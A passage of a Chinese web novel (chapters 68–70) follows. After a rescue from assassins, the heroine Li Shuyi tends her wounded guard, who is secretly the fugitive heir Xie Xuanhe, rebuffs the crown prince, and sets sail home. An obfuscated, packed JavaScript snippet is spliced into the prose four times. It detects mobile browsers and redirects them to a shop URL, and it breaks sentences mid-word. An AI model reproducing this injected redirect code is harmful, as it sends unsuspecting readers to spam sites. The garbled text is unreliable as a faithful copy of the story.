一道、两道、三道……她默默数着,到后来已经忘记了数到哪,她几近崩溃,眼泪哗啦啦留出来,不停地呜咽着。 “二姑娘,会没事的。”身旁,兰亭抖着嗓子说道,“太子会带人来的。” 对,这话提醒了黎书意,她终于想起来谢烜赫在姚府附近有安排祈安阁的人,以备不时之需。 抬头望着飘雪的天空,她在心中默默祈祷,希望潜伏在姚府周围的暗卫能快些想法子通知谢煜然,希望谢煜然能快些带人赶到,希望谢烜赫能再多撑一会。 可是等待的时间是如此的漫长,待到谢烜赫体力不支,而她也声嘶力竭之时,仍不曾看见一个援兵。 绝望之下,她放弃了等待,于是甩开兰亭的手拖着步子朝前走去,既然今天无论如何都难逃被抓的结局,那么与其等着梁祖庭杀光所有人,还不如她主动投降好了,她得先保住谢烜赫的命,其他的之后再做打算。 花光所有力气,她走到谢烜赫身后,谢烜赫感知到了,边打边大声吼道:“你过来做什么!” 她不回答,正待与梁祖庭谈判,然而话还未来得及开口,一群整肃有加的卫队稀里哗啦走了进来,看到那熟悉的铠甲,她心里一松懈,腿脚跟着失力,幸亏被追上来的兰亭扶住。 谢煜然的卫队一进入若兮院便迅速加入战场,十几名身强力壮的侍卫对抗五个早就疲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545726|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乏的死士,结果不言而喻。 眨眼间,五人先后被拿下,罪魁祸首的梁祖庭也被双戒三两下给钳制住了。 眼看着局面被控制住,黎书意的心彻底落到实处,这时却见谢烜赫手中的剑“哐当”一声掉在地上,他的身体也在往下坠去。 黎书意抢步上前,伸手托住了摇摇欲坠的谢烜赫,不至于让他再受伤,但是他明显已经用尽了力气,此刻整个身体的重量都压在她身上,她承受不住,只能扶着他靠坐在门边。 就地坐下以后,她担忧地注视着谢烜赫问:“你怎么样?” 问出口后又觉得这话实在多余,他的情况又怎会好,从他冒汗的额头和泛白的嘴唇便可知道他忍受了极大的痛苦。 他身上的衣服被划破了不少,就这一会的工夫,黎书意手上已经沾满了鲜血,看着手臂伤口处还在不断往外流血,她彻底慌了,想要触碰却又怕弄疼他。 少女星眸里蓄满了水光,面上焦急而又不知所措,谢烜赫捉住那无处安放的手,气若游丝地安抚着:“别怕。” 黎书意闻声仰头,对上那双注视着她的沉静黑眸,她慢慢安定下来,恢复平静后,她忙扭头吩咐兰亭道:“快去叫张大夫!” “哦。”兰亭慌忙答道,说毕便抬脚往外跑。 确定谢烜赫无生命危险了,黎书意终于有心思查看院子里的情况,只见门前的空地上躺着她从家中带来的侍卫,他们正痛苦地扭动着身躯,那原本雪白的地面上布满了脏污的脚印和触目惊心的血迹。 她忙朝着跑出几步的兰亭大喊道:“多叫几个来。” “是!”兰亭应声,人一个劲地往前冲。 黎书意举目朝更远处扫过去,看见梁祖庭与他带来的死士全数被押解,此时梁祖庭怨毒的目光正射在她身上。 她愤怒地回视,片刻后移开视线,不远处谢煜然正和侍卫统领交代着什么。 “把人押送至衙署,除了孤以外,任何不得接近,包括郡守。”谢煜然瞥了一眼梁祖庭,对侍卫统领说道。 “是。”侍卫统领领命,旋即挥手对手下们大喊一声,“全部带走!” 军靴踏在雪地上发出咯吱声,梁祖庭和他手下尚存活的死士被强硬地带着往院门口走去。 看着人走远了,谢煜然终于转身朝门口迈步,只见房门一侧靠着那深受重伤的异族侍卫,以及跪坐在他旁边的黎书意,他们看起来很亲密,一点也不像是小姐和侍卫。 很快,他来到二人身前,少女仰面朝他看来,抖着嗓子感激地说道:“谢谢你。” 她眼眶发红,两颊挂着泪痕,鬓发微有些乱,袖口和手上沾满了血污,这大约是他头一回见她如此不修边幅。 然而,他心里没有鄙夷与嫌弃,有的只是心疼和怜惜,可一想到这是因为另一个男人,况且还是一个身份低微至极的男人,他心里的怜惜又变为别扭和忮忌。 他半蹲下身,一面伸出手,一面温声安抚道:“已经没事了,你先起来去换身衣服吧。” 少女一脸犹豫,望向身旁虚弱的人并不动作,他只好又道:“我带了太医过来,他你不必担心。” 说毕,对身后的双戒淡淡吩咐道:“把他扶到旁边房里吧。” 黎书意动了动,长久跪坐使得她双腿麻木,避开谢煜然的手,她撑着门槛悠悠起身,然后弯下腰捞起谢烜赫的胳膊,吃力地将他拉起来。 刚踏出门槛走到门外,谢烜赫扭头看过来,声音虚弱地对她说:“二姑娘先去换衣服吧。” 见他如此说,她只好回房换衣。 68. 荒谬 走进卧房里间,黎书意在床上坐下,她整个人混混沌沌的,全身都在不受控制地轻颤。 “二姑娘,热水来了。”一个丫头端着水走过来。 听见声音她回过神,然后木然地走过去净手,看见盆里原本无色的水慢慢变红,她的胸口一阵紧缩,这些都是谢烜赫身上的血。 她发现抬着盆的双手也在微微颤抖,面前这丫头和兰亭年纪一般大,且姚府的生活安宁,今天的一切对她来说简直是莫大的阴影。 用白帕子揩干净了手,黎书意道:“接下来就不用你伺候了,你今日也受惊了,回去休息吧。” 说罢,她自去柜子前打开衣柜,从中拿了身衣服,又回到床边。 袖口的血迹已经半干,她将脏衣服褪下,换上了干净的衣服,略微整理了一下发髻,便出门了。 刚走出门,见兰亭带着几名大夫迎面跑过来,“二姑娘,大夫已经请来了。” 她“嗯”了一声,然后道:“带他们去给侍卫们处理伤口吧。”说毕,自己也跟在几人身后。 走到谢烜赫房门口,她停下脚步,原本打算问一下他的伤势情况如何,却见敞开的房门里谢烜赫裸着上半身坐在榻上,随行的太医正在替他缠纱布。 考虑到场合多有不便,尽管担心,她到底没有进去。 平复了一下心情,她挪步往旁边房间去了,受伤最重的是谢烜赫,接着便是毕定边了。 她走进房中,见毕定边正靠在榻上休息,看到自己进来,他急欲起身行礼,黎书意连忙抬手阻拦道:“你重伤在身,不必拘礼。” 毕定边便没再坚持。 “伤势如何?”黎书意问。 “二姑娘不必忧心,只是看着触目惊心罢了,其实都是皮外伤,没有伤到根本。” 闻言,她松了一口气道:“你若是有事,我如何向富春姑姑交代。” 与毕定边说完话,黎书意又慰问了另外几名侍卫,并让大夫们好好医治,一刻钟后,她重新来到谢烜赫房门口。 她跨步入屋,神情尽力表现得平静,到了榻前,她询问诊治的太医:“太医,他的情况怎么样?” “他身上被划了多剑,好在大多伤口都不深,只是流血过多,又加之气力用尽,所以看起来很虚弱,我已经替他开了补血益气的方子,再加上食补调养,一月内便能恢复。” 太医说着递过来一张方子,黎书意对刀剑之类的外伤用药略有了解,看了一眼,她将方子转递给兰亭,让她吩咐两个腿脚快的小厮快些去药铺抓药。 待太医离开,她问谢烜赫:“感觉好一点了吗?” 此时,他身上的伤口都被衣服掩盖起来了,她无法断定严重程度。 “还好。”谢烜赫轻声道。 “抱歉,来这里你因为我受了两次伤。”黎书意说着忍不住眼热鼻酸。 “我是你的侍卫,保护你是我的职责。” “不,”黎书意丝毫没有被安慰到,反驳的话脱口而出,“可是你明明——” 言未毕,门口传来一道声音,双戒道:“黎二姑娘,太子有事找您。” 黎书意这才想起来,谢煜然还未离开,看着面色苍白的谢烜赫,她放不下心,有些不想去。 “去吧。”谢烜赫回望着她说。 “好。”最终她还是点头了,眼下事情尘埃落定,她也该和谢煜然谈谈,毕竟今天发生的一切很可能打乱了计划。 从谢烜赫房里出来,黎书意随双戒进了暖阁,到了暖阁,见谢煜然静静坐在榻上,面色晦暗不明。 “见过殿下。” 谢煜然闻声望过来,“你好一点了吗?” “好多了。”黎书意说着在另一侧坐下,“抱歉,因为我打乱了你的计划。” “无事,不过提前了几日。”谢煜然故作轻松安慰道。 看着眼前受了巨大惊吓的少女,他的思绪不由得拉到几个时辰以前。 当时他正在官驿中庭与双诫议事,虽然打算好从长计议,但是为了把控局势,好为日后的清缴做准备,暗地里,他让双诫联系了附近郡县的清吏们,刚刚才获得了各方的回复。 两人正说着,忽听见门口传来争论声,询问侍从得知,说是一个小乞丐要见他。 他起初没有放在心上,本已经走出了几步,后来想到可能是黎书意送消息也说不定,到底停下了脚步,然后折道向门口走去。 到了门口,见那小乞丐还与守卫们僵持着,一张脏污的脸上满是焦急,他问小乞丐找他有何事,小乞丐回说自己是受姚府下人之托来找他的,并告知说梁祖庭已经带着一群死士闯入姚府,准备抓黎二姑娘,请他相助。 他闻之大骇,立马点了五十名亲卫,便匆忙赶往姚府。 他原本是想做出一副铩羽而归的样子,先不动声色地回孟章,等向父皇报告了,确定了行动计划以后再说,可因为还是被梁祖庭发觉了,计划便被打乱了。 还好来得及时,疼惜地注视着面前这张憔悴的脸,谢煜然心里一阵后怕,若再迟些,后果不堪设想。 余惊过后,黎书意的思维有些迟滞,呆坐片刻,她脑子里忽然想起一件重要的事,今日的变故可不止是打乱谢煜然的计划这么简单,便不安地问:“会不会惊动到孟章那边?” “我方才已经修书向父皇简单禀报了此事,梁甫会如何反应只能走一步看一步了。” 话音落下,房间陷入沉默。 刚经历了一场生死浩劫,黎书意此刻身心俱疲,根本没有余力应付客人,即便在她面前的人是太子殿下。 本以为事情已经谈完,谢煜然也该动身离开了,毕竟接下来他还有得忙,却听见他对侍立在侧的双戒道:“你先出去,我还有事对她说。” 见他刻意屏退了下人,黎书意自然以为要说的是很重要的事,忙问:“还有何事?” 谢煜然没有回答,只是抿着唇意味不明地凝视着她,这令她感到困惑和不自在,便道:“殿下有事请直说。” “你和那叫时野的侍卫走得过于近了。” 这话并非询问而是陈述,黎书意听后先是一愣,随即满脸错愕,没想到他要说的竟然会是这个。 朝夕相处,又同仇敌忾,她和谢烜赫的关系无形中越发亲近起来,确实失了小姐与侍卫该有的分寸。 尤其今天,惊惧之下,她忘了在人前遮掩,一个千金小姐因为手下的侍卫受伤了,从而手足无措惊慌落泪,这很不寻常。 好在大多时候他们在内宅活动,周围的人都是家中仆从,即便发现了什么,也不会多言,没有解释的必要。 然而,谢煜然到底不同,况且他现下又直白地指出来,只是她要如何说才能让情况变得合理,又不会引起猜疑呢…… 谢煜然全程注视着黎书意,她脸上的表情他一个都没有放过,初时的愕然和后来的心虚他通通都看在眼里,连辩驳都没有吗,这是默认了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545727|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他轻嗤一声,感到荒谬极了,维持着风度说出厉害关系:“我知道他数次救你,身上又有几分才学,朝夕相处你难免会心生感动,但他不过是一个小官和胡女生的,你可是将军府的嫡女,如何相配?” 说毕,见黎书意沉默如一块木头,不置一词,他心里的怒火逐渐压抑不住,大声指出道:“你众星捧月长大,从小锦衣玉食,绫罗绸缎和华贵首饰哪一样是他能满足的!” 黎书意本在思索合适的解释措辞,听谢煜然越说越离谱,她抬眸无言地看着面前的人。 瞧见少女眼里的不耐,谢煜然心口不由一滞,身为太子该有的理智和气度此刻通通被他抛到脑后,心里话就这么脱口而出:“如果你可以和一个身份低微的侍卫在一起,为何不能和我在一起?” 黎书意在心里轻叹口气,彻底放弃了解释,想着既然都已经误会了,不若借着这误会彻底绝了他的心思,于是便说道:“和他在一起,我便是他的全部,你做得到吗?” 谢煜然闻言哑然愣住了。 黎书意淡淡一笑,因为不在乎答案,所以并没有失望,她站起身来,微微行了一礼道:“殿下请回吧,我今日有些累,想休息了。” 谢煜然还想争辩,可看着面前的少女满面疲态,嗫嚅了一会,他最终到底放弃了,只道:“那你好好休息。” 言罢,他朝外走去。 目送谢煜然离开,黎书意收回视线,折腾了这许久,不知不觉日头已经偏西,她整个人提不起劲来,于是便坐在榻上发起呆来。 送走了大夫们,吩咐下人们好生打扫院落,兰亭终于空下来,她抬脚进入暖阁。 一进去,瞧见二姑娘神思恍惚地呆坐在榻上,便担忧地唤道:“二姑娘,您还好吗?” 说着,她走上前去,将托盘中新泡的茶水搁在小几上,“您先喝点热茶润润嗓子吧。” 黎书意回神,她望向眼前面容憔悴的小丫头,问说:“害怕吗?” 兰亭没应声,事实上她的确害怕。 除了幼时的颠沛流离,进入将军府以来,她的日子过得平顺安逸,也就上回在社郡遇到过被绑架的情况,而那次救援来得及时,身边的人并未收到任何伤害。 这次却不同,洁白地面上醒目的血迹,侍卫们身上狰狞的伤口,大家的痛吟、尖叫和哭喊……所有的一切都在告诉她,他们刚刚经历了一场死里逃生。 自从救下那齐公子以来,她明显察觉出二姑娘的神经就一直紧绷着,尽管二姑娘没告知她内情,但也未死瞒着她,因此,她知道齐公子身上的秘密不小,且与国事有关。 二姑娘不对她说,定然是有自己的道理的,所以即便她很好奇,但从不主动追问。 只是今天的事发生得毫无预兆,她不知道这事是如何与梁家扯上关系的,竟然逼得梁祖庭带上死士强闯姚府,但想来很严重,眼下都危及到二姑娘的安危了。 她感觉自己就快要憋不住了。 黎书意抬起手边茶盏,喉咙因为长久的叫喊而干涩刺痛,喝完了一整盏茶,才终于感觉舒服了些。 将茶盏放下,她忽然想起一事来,忙对兰亭道:“对了,吩咐下去,不要短了侍卫们的吃食,多做些滋补的药膳,尤其是时侍卫,每顿必须有补血益气的羹汤。” 时侍卫,听见这个名字,兰亭刚压下的情绪又升了上来,凭什么他能知道,自己却不可以,思及此,便忍不住脱口问道:“二姑娘为何对时侍卫这么好?” 69. 惊闻 兰亭跟在二姑娘身边四五年了,对二姑娘也算得上了解,尽管二姑娘对下人十分和善,但也不至于无底线到这种程度。 二姑娘什么事都同时侍卫说,关心他的日常生活,与他像亲友一样相处,前不久,还眼睛都不眨一下,送了一柄价值千金的宝剑,至少她、舒凌寒姐姐,还有展侍卫都没得到过这样的待遇。 再说今日,二姑娘在时侍卫受伤时表现得极为反常,起先的失声痛哭,后来的小心呵护,完全不像是对一个侍卫,更像是对情郎一样。 听见兰亭的询问,黎书意抬眼扫向面前的人,见小丫头脸上又是好奇又是不愤。 这小丫头心思单纯,性子开朗,因着他们要做的事实在太艰巨沉重了,告诉她她也帮不上忙,反而还会徒增烦恼,所以许多事黎书意便都瞒着她。 她知道这小丫头对此一直心怀怨气,不满一个刚来没多久的侍卫竟然比自己知道得更多。 轻轻叹息一声,她寻思着如今梁甫的结局基本已经注定,成功近在咫尺了,没必要像从前那样步步小心,处处留神。 便告诉这小丫头吧,这么想着,她开了口:“你还记得谢烜赫吗?” 昭王世子?好久没听到这个名字了,自从昭王案以来,这三个字就是禁忌,根本提不得,兰亭有些反应不及,不明白二姑娘为何突然说这个。 她疑惑地望着二姑娘,只见二姑娘神色肃然,回视着她一字一顿道:“时野便是谢烜赫。” 什么?!像是被闪电击中一般,兰亭惊得目瞪口呆,甚至忘记了要呼吸。 精神尚处于半痴半呆的状态之中,二姑娘含着悲悯的声音飘进耳中:“他并没有死,那之后他逃到了安士,在那里与父兄共同抗击楼宛的敌军,战争结束后他借着时野的身份回来了。” 竟是这样吗……兰亭不由得开始回顾时野初入将军府的场景,当时她也觉得他的身形透着熟悉,二姑娘一开始便试探过,后来太子殿下也试探过,最终的结果皆证明了时野并非昭王世子。 她不是一个爱纠结的人,之后就没再多想,毕竟一个坠崖而亡的世子,和一个失去双亲的异族少年,实在很难将两者联系在一起。 现在回过头再看,其实还是能发现许多端倪的,比如时野身为侍卫,却时常用命令的口吻说话,比如他明明入府时日很短,却快速与二姑娘熟络起来,得到二姑娘的信任,再比如少将军和大将军对他态度亲和。 “在世人眼里,他毕竟还是叛贼,身份特殊,为了安全起见,越少人知道越好。” 正兀自捋着思路,听见二姑娘如是说,兰亭抬起头,急切地争辩道:“婢子是不会外说的。” “我知道。”坐榻上,黎书意听后轻笑一声,接着她解释说,“可是我不想把你牵扯进来。” 知道二姑娘是为自己着想,但是兰亭更愿意了解真相,然后替二姑娘分担,想起时常在自己面前关起的门,想起二姑娘和世子偶尔去尚姜院里谈话,她试探着问出口:“所以大将军、少将军、二姑娘,还有世子在谋何事?” 黎书意闻言沉默,半晌,她反问道:“你相信昭王会谋反吗?” “婢子不信。”兰亭思索片刻后回道,话音刚落,她脑中忽然电光一闪,心下有了答案,不由惊呼出声,“您们是想——” 意识到这话是不能宣之于口的,她强行将它们吞回肚子里去了。 “没错。”黎书意肯定了兰亭的猜测,深深叹息一声,她继续往下说,“这半载我们一直在暗中探查,最后证明了是梁甫在背后构陷昭王,此来客郡我们也是为了寻找线索。” 兰亭心头又是剧烈地一震,不止是藏匿叛贼,竟然还要替昭王府平反,也难怪二姑娘要瞒着她了,这么胆大妄为的举动,稍有不慎,便会赔上整个将军府。 惊叹过后,她把重点放到今日的事上,好奇地问:“所以齐公子与这事有关?” “嗯。”黎书意点头,“虽是意外救的他,但是多亏了他,我们得到了梁甫叛国的罪证。” 梁甫叛国……对此,兰亭并没有太惊讶,而且这正好解释了梁祖庭为何抓二姑娘。 屋子里渐渐安静下来,刚刚所听到的一切对她这样一个小丫头来说宛如天降红雨一般不可思议,她需要时间消化。 “二姑娘先休息一会,我去厨房看看饭菜好了没。” “嗯,去吧。” 兰亭从房里缓缓退出来,她感觉整个人轻飘飘的,有种不真实感,可心脏却亢奋地跳动着。 走下台阶,她转头看了一眼身后光线晦暗的房门,接着又转头看向厢房,时侍卫竟然是昭王世子。 从前,她想不通一个侍卫竟不自量力,敢肖想将军府的贵女,即便自己提点了也不思悔改,现在这一切变得合理了,其实她一直知道世子是喜欢她家二姑娘的。 因着近身伺候的关系,二姑娘与他人相处时她基本都在场,这也使得她能看见许多二姑娘不曾注意到的地方。 她看见过二姑娘与太子殿下谈笑时,世子露出落寞苦涩的神情,也看过二姑娘与少将军打闹时,世子满面温柔的神情,还看见二姑娘弹琴对弈时,世子专注欣赏的神情…… 只是,彼时二姑娘与太子殿下在一起,即便她察觉到了,也不能说,她不想给二姑娘造成心理负担。 不过,她一直觉得,若是二姑娘和世子在一起,他们一定会很幸福的。 意识回笼,她从厢房收回视线,然而眼下还有一个问题有待解决,世子的身份还未恢复,但听二姑娘话里那意思,估计不远了。 想到这,她不由高兴起来,忙抬脚往厨房走去。走到一半,忽然又想起什么不得了的事情来,于是又骤然停下来。 撞见世子送凉饮盯着二姑娘看时,她提醒他身为奴才不该肖想千金小姐,后来还向二姑娘告状,说他命令自己做事,更是对二姑娘没大没小的,她甚至还在他面前夸苏先生如何有才,二姑娘如何崇拜苏先生。 天呐,兰亭欲哭无泪,她到底都做了些什么,世子应该不会怪她的吧……她担忧地咽了咽口水,好在从前因为惧怕时野,许多话她只在心里吐槽,没敢说出来,否则那更是雪上加霜了。 懊恼完了,她继续朝前走,想着以后她好好撮合,在二姑娘面前多说些世子的好话,也算是将功补过了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545728|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… “婠婠!” 黎书意正百无聊赖地坐着发呆,耳边刮过一道疾风似的急切呼唤,等循声抬头时,表姐已经跑进屋了。 “你有事没有?”表姐三步并做两步来到她面前,一双眼睛从上打量到下,目光里的关切与后怕藏都藏不住。 黎书意朝她摇了摇头,“我没事。” “没事就好。”闻言,姚书颜松了一口气,接着在对面坐下了。 看她气喘吁吁的,黎书意从茶盘里抄起一只瓷杯,为她倒了一杯茶,然后问:“你是如何得知家里出事了?” 姚书颜抬起杯子,咕咚咕咚将茶饮尽了,方才回答说:“太子带着大批亲卫形色匆匆地在街上穿行,最后进了姚府,能不引起轰动吗?” 顿了一顿,她望向疲惫的表妹奇怪问道:“不过梁祖庭不是对你有意思吗,怎么会突然想要杀你?” 面对询问,黎书意神色一滞,后来考虑到梁祖庭已经被抓,制作禁药和私铸兵器的事不久便会浮出水面,于是未再隐瞒,对表姐说起近期的遭遇。 在这短短的一柱香里,姚书颜一会惊讶,一会担忧,一会愤怒,表情变化不断,等过程讲完后她整个人都傻了。 她就说表妹明明是来探亲的,怎么不与祖母待在一块,偏生一个人待在姚府,原来是因为自己被梁祖庭盯上了,怕牵扯上他人。 半晌,在消化完表妹所述之事后,她抬头往对面看去,心里既佩服又疼惜,最后发出一声感慨道:“这段时间还真是辛苦你了。” 两姐妹说完私话的时候,也是该用晚膳的时候了,由于才发生了入府刺杀这等险事,两人胃口皆是不佳,只囫囵吃了几口,便撤下了食案。 担忧黎书意目睹血腥场面受了惊吓,姚书颜让她早些休息,她点头应了,神经紧绷了一个下午,眼下确实有些累了。 临睡前,她打算再去看看谢烜赫的情况,走至门口,恰好撞见侍女送饭过来。 因她特意叮嘱过,厨房对谢烜赫的饭食很是尽心,托盘里摆着菠菜炒猪肝、芦笋炒虾仁、清蒸鲈鱼和枸杞牛骨汤四道菜。 谢烜赫听见动静前来应门,门打开一股浓烈的中药味扑鼻而来,黎书意注视着眼前的人,见他脸色虽然依旧有些苍白,但气色却比午后那会要好了很多。 等侍女布菜退下后,他们挪步在食案边坐下,谢烜赫开始用饭,黎书意与他商量后面的打算。 待事情聊完,谢烜赫饭也吃得差不多了,黎书意准备离开,这时,她扫见了案上那没怎么动过的汤,便命令道:“你把汤喝了。” “全部?”谢烜赫露出不可置信的表情。 “嗯。”她肯定地一点头,“这是我让厨房特意为你熬的,益气养血,这几天你每顿都必须喝完。” “好吧。”谢烜赫认命地说,然后便拿起瓷勺为自己舀了一碗汤。 看着他将整碗汤都喝了,黎书意满意地笑了,嘱咐他好生休息,这才起身离开。 天色已经完全暗下来,整个姚府笼罩在惊惧之后的寂静之中,回到房间,黎书意开始沐浴更衣,绞干了头发她躺到床上,一沾枕头便睡着了。 70. 追截 次日清晨,黎书意正在梳头时门外通传说外祖母回来了,一听见这话,她急忙起身,快步出院相迎。 走至二门,恰好与外祖母撞上,她被陈妈牵着,面上急切,步履仓促。 见状,黎书意赶紧迎上前去,外祖母伸手搂过她,一会摸头一会摸手,俨然把她当作一个会被磕碰坏的瓷娃娃。 “外祖母,我没事。”她宽慰道。 “果真没事?” “真的。” 考虑到这并非是一个说话的好地方,黎书意没有多言其他,笑揽起外祖母的胳膊,搀扶着她往正厅走去。 刚进正厅坐下,表姐闻讯而来,外祖母遂清退了下人,祖孙三人关上门说起私话来。 看着下人离开,孟氏满脸后怕地望着外孙女,不解地问:“不是说梁祖庭已经对你卸下防备了吗,为何又忽然对你出手了呢?” 黎书意避重就轻向老人家解释起来:“原本是这样没错,可恰巧碰见太子来这边巡查,我想着齐君屹在他那里比在我这里更好,所以便向太子说明了情况,梁祖庭发现我俩来往,意识到自己受蒙骗,于是便怒而动手了。” “哎哟!”孟氏听完惊呼一声,“真是万幸,若是你在这里出事了,我如何向景桓还有你九泉之下的母亲交代。” “外祖母,我这不是没事嘛!”黎书意撒起娇来,事情已经过去,她不想再徒惹老人家的焦虑了,顿了顿,又问,“对了,赵祖母的身体如何了?” 孟氏叹息道:“情况倒是好转了,性命应当是无虞了,只是以后腿脚恐怕更不灵便了。” “无事就好。”黎书意在心中庆幸,然后望着一旁的表姐,这样她就不用等守孝了。 姚府的生活归于平静,而外面却掀起了惊涛骇浪。 昨日,客郡的百姓们见太子殿下匆忙带兵赶往姚府,心里便充满好奇,今日,他们得知被捕的居然是丞相的嫡长子梁祖庭,心里便更加好奇了,一时间大家伙猜测纷纷。 又隔了一天,客郡多地被官兵包围起来,一队人马奔向丰沙村,竟从那个因疫病而早就废弃的村落里带出两百来人,还有一队去了城南象尾山,在那座因怪兽食人而无人问津的荒山下面抓出近千名壮丁。 此外,还有许多官兵在大街小巷上穿行,不少人都被抓了起来,郡守、县令、司铁使、各大药铺的老板、欧记兵器铺的少东家……所有人开始意识到事情的严重性,但是他们依旧云里雾里。 后来,由知情人透露,大家伙终于得以知晓内情,原来梁家人这几年从各地掳来不少青壮流民,强迫他们在荒村里劳作,制造一种名叫逍遥丹的禁药。 而那象尾山也并非什么不祥之地,相反,那里铁矿资源丰富,矿山下面有一座配备了先进锻造设备和工具的兵器作坊,梁家人强迫奴隶们在那里私铸武器。 因这是抄家灭门的重罪,百姓们不敢在人前妄议,只敢和相熟的人小声谈论。 说回黎书意,卸下了身上的包袱,她终于像一个来探亲的人,去弘毅书院帮忙,在家陪外祖母,她的日子过得清闲而自在。 与此同时,她趁着空闲,将后半段的惊险经历写入《陈冤录》中。然后,在每日茶余饭后,她从谢烜赫和毕定边口中了解外面的事。 比如,那丰沙村之所以无人敢踏足,是因为前岁有两个人去那里,回来之后便得了怪病而亡。 比如,郡守、县令和司铁使都是梁甫的人,在梁甫的要求下,他们一直在替他寻找新的矿源,当发现象尾山下面有丰富的铁矿以后,他们瞒而不报,就地搭起矿寨,建立兵器作坊,暗中开采冶炼。 为防止有人贸然闯入,进而发现象尾山中的秘密,他们故技重施,采用了和丰沙村一样的手段,在合适的时机下伪造了数起有人入山后被野兽咬死的事件,随后在郡内大肆宣扬,成功营造出山中有凶猛野兽出没的错觉。 而锻打兵器发出的敲击声,也被描述为是凶兽的叫声,如此一来,百姓们哪里还敢靠近。 还有那欧记兵器铺的少东家,竟然是兵器作坊的军械设计者,闻听这情报时,黎书意突然想起来买剑那日她曾撞见掌柜训斥自己儿子,估计当时掌柜应该就是知道了这事。 …… 清晨,姚府门口停着一辆马车,车辕上坐着毕定边,车两边拥着十几名随护,谢烜赫站在车前,他双目注视着大门。 门口,黎书意转身面对与自己一同出府的两人。“外祖母和表姐请留步。” 孟氏望着外孙女,惋惜地说道:“哎……这次咱们祖孙三人都没能好好聚聚。” 闻言,黎书意心中涌起愧疚,她也想留下来,可是梁家一天不倒下她便一天不得安生,如今梁甫的罪行已经被披露,她得回孟章去,她要为铲除这名残害忠良的奸臣添一把力。 孟氏和姚书颜都是知道内情的,所以两人尽管不舍,却并未出言挽留。 与外祖母和表姐依依惜别之后,黎书意终于登上了马车,往码头而去。 冬日天气寒冷,出海的人不多,海面上的渔船和货船数量锐减,不过今天的渡口并不算冷清。 只见岸边停靠着一艘华美的福船,岸上和船上的卫队们像是蚁群里劳作的蚂蚁一样流动着,他们把整箱整箱的逍遥丹和刀枪剑戟搬到船仓。 从马车上下来,黎书意立在码头百无聊赖地四处远眺,等待着侍卫将她的随行物品搬下来。 正看着,一名五十多岁的老妇人笑迎过来,指引着他们登船,并为他们安排了住处。 安顿好了,黎书意上甲板去了,此时那些缴获的赃物已经搬得差不多了,卫队们几乎都登船了。 寒风呼啸而过,船帆猎猎作响,船头立着一黄袍少年,他正在与手下交代事情。 撞见谢煜然,黎书意本想转回去的,但觉得那样太不礼貌了,想了想,还是走了过去,向他道谢:“谢殿下愿意载我们一程。” 前日,她收到从官驿送来的信,信上谢煜然说他就要回孟章了,若她想走可同他一道。 回家的路途遥远,即便外祖母增派了侍卫护送他们,可是路上仍然不安全,她不敢拿自己和手下随从的命随意冒险,权衡了一下,便选择答应了下来。 黎书意并不喜欢坐船,晕船可比晕车的感受强烈了许多,若像来时乘的是客船的话,她是喜欢到甲板上吹吹风的,然而现在搭乘的是太子出行的专船,船上不仅有大量卫队在,还有梁祖庭和巨量赃物,她不便随意走动。 因此,她只能借由看书来打发时间,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545729|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而长时间做同一件事难免会累会乏,看了两日她便觉头昏脑胀,将书扔在案头,她决定去找谢烜赫说说话。 到地方后,她抬手轻叩门扉,听见主人回应了,便开门走进去,下人的船房有些逼仄,里面除开单人床和桌椅,能活动的空间很小,简直一览无余。 这也使得黎书意一眼就看见了裸着上身坐在床沿的谢烜赫,瞥见那白花花而肌肉紧实的胸腹,她惊叫出声:“你怎么没穿衣服!” “我刚准备换药。”谢烜赫一脸沉静。 她闻言往旁边看去,见小几上确实摆着些瓶瓶罐罐,可这样仍旧不对,便抱怨道:“那你还让我进来?” “我以为是毕定边。” 好吧,自己方才的确没出声,他猜错了也不为过,于是便不再计较,只是眼下处境实在尴尬,想了想她便说:“那我先走了。” 谢烜赫瞥过来轻笑道:“看都看了。” “我又不是故意的。”黎书意小声辩驳,此刻她又羞又恼,哪还有聊天的兴致,说毕转头就要走,哪知这时候船却突然剧烈地晃动起来。 